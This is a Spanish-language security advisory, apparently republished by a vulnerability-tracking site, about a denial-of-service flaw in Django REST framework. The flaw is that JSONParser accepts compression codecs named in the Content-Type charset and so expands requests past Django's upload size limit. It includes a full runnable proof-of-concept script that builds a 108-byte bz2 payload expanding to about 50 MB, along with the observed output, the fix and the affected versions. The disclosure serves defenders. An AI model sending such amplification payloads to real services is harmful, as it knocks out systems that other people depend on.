Django REST framework: JSONParser aplica un códec especificado por el atacante al flujo de la solicitud
Resumen
Un atacante no autenticado puede eludir el límite DATA_UPLOAD_MAX_MEMORY_SIZE de Django y obligar a un proceso worker a asignar memoria arbitraria indicando un códec de compresión en el parámetro charset del encabezado Content-Type. Un cuerpo de solicitud de 108 bytes genera un valor de 50,331,648 caracteres dentro de la vista, un factor de amplificación de 466,033, y aumenta el RSS máximo del proceso en aproximadamente 97 MiB. No se requiere ninguna configuración especial de la aplicación más allá del conjunto de analizadores predeterminado de DRF; el endpoint solo necesita aceptar un cuerpo JSON.
Detalles
JSONParser.parse decodifica el cuerpo de la solicitud con el juego de caracteres que el cliente suministró en el encabezado Content-Type:
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
De los aproximadamente 455 nombres de códec que codecs.lookup resuelve en CPython 3.14, alrededor de 18 son transformaciones de bytes en lugar de conjuntos de caracteres: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec y similares. codecs.getreader es el único punto de entrada en el módulo codecs que no consulta CodecInfo._is_text_encoding, por lo que los acepta todos. El envío de Content-Type: application/json; charset=bz2_codec envuelve el flujo de la solicitud en un descompresor bz2 antes de que json.load lo lea.
El orden de ejecución es lo que permite la explotación. Django contabiliza DATA_UPLOAD_MAX_MEMORY_SIZE sobre los bytes que llegaron por la red: rest_framework/request.py entrega a JSONParser un io.BytesIO(self.body), y HttpRequest.body es donde se ejecuta _check_data_too_big(). La descompresión ocurre posteriormente, dentro del analizador sintáctico, donde nada lleva la cuenta.
Este es un defecto de DRF y no de Django. Django resuelve el parámetro charset y asigna request.encoding, y codecs.lookup resuelve transformaciones de bytes, pero cada consumidor en Django de request.encoding pasa por la API de códecs de texto y falla de forma cerrada (fail-closed). Tanto bytes.decode('bz2_codec') como str(raw, 'bz2_codec') generan LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF es el único invocador que pasa el flujo de solicitud a codecs.getreader.
FormParser (parsers.py:84) y MultiPartParser (parsers.py:104-118) admiten la misma codificación indicada por el cliente, pero fallan de forma cerrada en lugar de amplificar.
El punto vulnerable fue introducido por 9a228116 (PR #5147, 2017-05-24, «Improve memory footprint when reading large JSON requests»), publicado por primera vez en 3.6.4. El comentario final en ese PR señala que la ganancia de memoria prevista no se mantiene porque read() decodifica todo el flujo, lo cual es la misma propiedad que hace que esta expansión sea ilimitada. No se ha agregado ninguna comprobación de _is_text_encoding desde entonces.
Una corrección de una línea en parsers.py:61-64:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
PoC
Guarde como poc_charset_amplification.py y ejecútelo. Construye sus propias cargas útiles, ejecuta cada rama en un subproceso independiente (el RSS máximo es una marca de nivel alto, por lo que medir varias ramas en un solo proceso reporta un crecimiento casi nulo para cada una tras la primera) e imprime un veredicto.
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
C1 48 MiB plaintext, Content-Type: application/json (no charset)
C2 the byte-identical T body, charset=utf-8
C3 zlib body, charset=zlib_codec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit.
python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile
PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536
ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
"C1": "rejected with RequestDataTooBig, view body never runs",
"C2": "HTTP 400 ParseError on the byte-identical compressed body",
"C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []
def build_payloads():
import bz2
import zlib
os.makedirs(PAYLOAD_DIR, exist_ok=True)
plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
blobs = {
"plain.bin": plain,
"bz2.bin": bz2.compress(plain, 9),
"zlib.bin": zlib.compress(plain, 9),
}
for name, blob in blobs.items():
with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
fh.write(blob)
return {name: len(blob) for name, blob in blobs.items()}
def configure_django():
from django.conf import settings
settings.configure(
DEBUG=False,
ALLOWED_HOSTS=["testserver"],
SECRET_KEY="poc",
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
],
DATABASES={
"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
},
DEFAULT_CHARSET="utf-8",
DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
LOGGING_CONFIG=None,
USE_TZ=True,
)
import django
django.setup()
def build_view():
from rest_framework.response import Response
from rest_framework.views import APIView
class Echo(APIView):
authentication_classes = []
permission_classes = []
def post(self, request):
data = request.data
VIEW_RAN.append(True)
value = data.get("a") if isinstance(data, dict) else None
return Response(
{"parsed_value_len": len(value) if isinstance(value, str) else None}
)
return Echo
def __getattr__(name):
# ROOT_URLCONF points at this module; build urlpatterns lazily.
if name == "urlpatterns":
from django.urls import path
value = [path("x", build_view().as_view())]
globals()["urlpatterns"] = value
return value
raise AttributeError(name)
def peak_rss_kib():
"""Peak resident size of this process. /proc is used where available because
ru_maxrss does not track the calling process on every kernel."""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmHWM:"):
return int(line.split(":")[1].strip().split()[0])
except OSError:
pass
import resource
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
def run_arm(arm):
payload_name, content_type = ARMS[arm]
with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
body = fh.read()
configure_django()
from django.test import Client, RequestFactory
client = Client(raise_request_exception=False)
# Warm every lazily imported module so the delta measures the request only.
client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
VIEW_RAN.clear()
before = peak_rss_kib()
response = client.generic("POST", "/x", data=body, content_type=content_type)
after = peak_rss_kib()
parsed_len = None
if response.status_code == 200:
try:
parsed_len = json.loads(response.content).get("parsed_value_len")
except ValueError:
pass
# Second reading via a bare RequestFactory so the exception class is visible
# directly instead of inferred from a status code.
request = RequestFactory().generic(
"POST", "/x", data=body, content_type=content_type
)
try:
direct = {"status_code": build_view().as_view()(request).status_code}
except BaseException as exc: # noqa: BLE001 - naming the class is the point
direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}
return {
"arm": arm,
"content_type": content_type,
"transmitted_bytes": len(body),
"body_sha256": hashlib.sha256(body).hexdigest(),
"status_code": response.status_code,
"view_body_executed": bool(VIEW_RAN),
"parsed_value_len": parsed_len,
"amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
"peak_rss_delta_mib": round((after - before) / 1024.0, 1),
"direct_dispatch": direct,
}
def check(arm, r):
if arm in ("T", "C3"):
return (
r["status_code"] == 200
and r["view_body_executed"]
and r["parsed_value_len"] == PAYLOAD_CHARS
and r["amplification_ratio"] >= 700
)
if arm == "C1":
return (
r["status_code"] != 200
and not r["view_body_executed"]
and r["direct_dispatch"].get("exception")
== "django.core.exceptions.RequestDataTooBig"
)
if arm == "C2":
return r["status_code"] == 400 and not r["view_body_executed"]
raise AssertionError(arm)
def main():
if "--arm" in sys.argv:
print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
return 0
sizes = build_payloads()
print(f"# payload sizes: {sizes}")
print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")
ok = True
results = {}
for arm in ("T", "C1", "C2", "C3"):
proc = subprocess.run(
[sys.executable, os.path.abspath(__file__), "--arm", arm],
capture_output=True,
text=True,
)
if proc.returncode != 0:
print(f"{arm}: harness failed\n{proc.stderr}")
return 2
r = json.loads(proc.stdout.strip().splitlines()[-1])
results[arm] = r
passed = check(arm, r)
ok = ok and passed
print(f"=== {arm} [{'as described' if passed else 'NOT as described'}]")
print(f" expected: {EXPECTED[arm]}")
print(json.dumps(r, indent=6))
print()
print("=== summary")
for arm, r in results.items():
print(
f" {arm:3} wire={r['transmitted_bytes']:>9}B status={r['status_code']} "
f"parsed_len={r['parsed_value_len']} ratio={r['amplification_ratio']} "
f"peak_rss_delta={r['peak_rss_delta_mib']} MiB view_ran={r['view_body_executed']}"
)
print(f"\n T and C1 and C2: {'all held' if ok else 'NOT all held'}")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
Salida observada, abreviada al bloque de resumen:
# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters
=== summary
T wire= 108B status=200 parsed_len=50331648 ratio=466033.8 peak_rss_delta=96.8 MiB view_ran=True
C1 wire= 50331656B status=400 parsed_len=None ratio=None peak_rss_delta=48.3 MiB view_ran=False
C2 wire= 108B status=400 parsed_len=None ratio=None peak_rss_delta=0.0 MiB view_ran=False
C3 wire= 48941B status=200 parsed_len=50331648 ratio=1028.4 peak_rss_delta=95.2 MiB view_ran=True
T and C1 and C2: all held
C1 confirma que el límite de tamaño está activo y configurado, por lo que el 200 en T es una protección eludida y no una protección ausente. C1 informa de su propio crecimiento de RSS porque el cliente retiene el cuerpo de 48 MiB antes de que el límite lo rechace, lo que constituye un coste del lado del cliente y nunca llega a la vista. C2 soporta la mayor parte del peso: su cuerpo es idéntico byte por byte a T, y solo difiere el nombre del códec. Las cifras de RSS varían unos pocos MiB entre ejecuciones.
Al repetir las cuatro ramas en Django 5.2.17 LTS se obtuvieron 109 bytes transmitidos para 50,331,648 caracteres, 461,758x, manteniéndose tanto C1 como C2.
Una nota si implementa la solicitud usted mismo: utilice Client.generic() o RequestFactory().generic(). Tanto Client.post() como RequestFactory.post() pasan el cuerpo a través de force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), lo que destruye una carga útil comprimida antes de que el analizador la reciba.
Impacto
Denegación de servicio no autenticada mediante amplificación de memoria contra cualquier endpoint que acepte un cuerpo JSON con el conjunto de analizadores predeterminado. Cualquier despliegue en 3.6.4 o posterior se ve afectado, y no se requiere ninguna opción de configuración ni código de aplicación específico para activarlo. La memoria se asigna por solicitud y se libera después, razón por la cual se califica únicamente por disponibilidad en lugar de como crítica; sin embargo, el factor de amplificación implica que un número reducido de solicitudes simultáneas puede agotar un worker. Unos pocos cientos de bytes asignan cientos de megabytes, y nada en DRF ni en Django limita el tamaño expandido.
Qué hacer
Actualice a la versión 3.18.2 o posterior. Como alternativa, aplique la corrección de una línea en parsers.py:61-64:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | djangorestframework | >= 3.6.4, < 3.18.2 | 3.18.2 |
Referencias
- https://github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg
- https://nvd.nist.gov/vuln/detail/CVE-2026-114136
- https://github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a
- https://github.com/encode/django-rest-framework
- https://github.com/encode/django-rest-framework/releases/tag/3.18.2
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-409, CWE-770- Plataforma
- Python (PyPI)
- Paquete
djangorestframework- Publicada
- 22.10.2026
- Actualizado
- 25.10.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-3547-9m27-7rxg - CC BY 4.0
Historial de vulnerabilidades: djangorestframework
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 09.2020 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 3
- Baja 1
Divulgaciones por año
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 4
-
Django REST framework: JSONParser aplica un códec especificado por el atacante al flujo de la solicitud esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.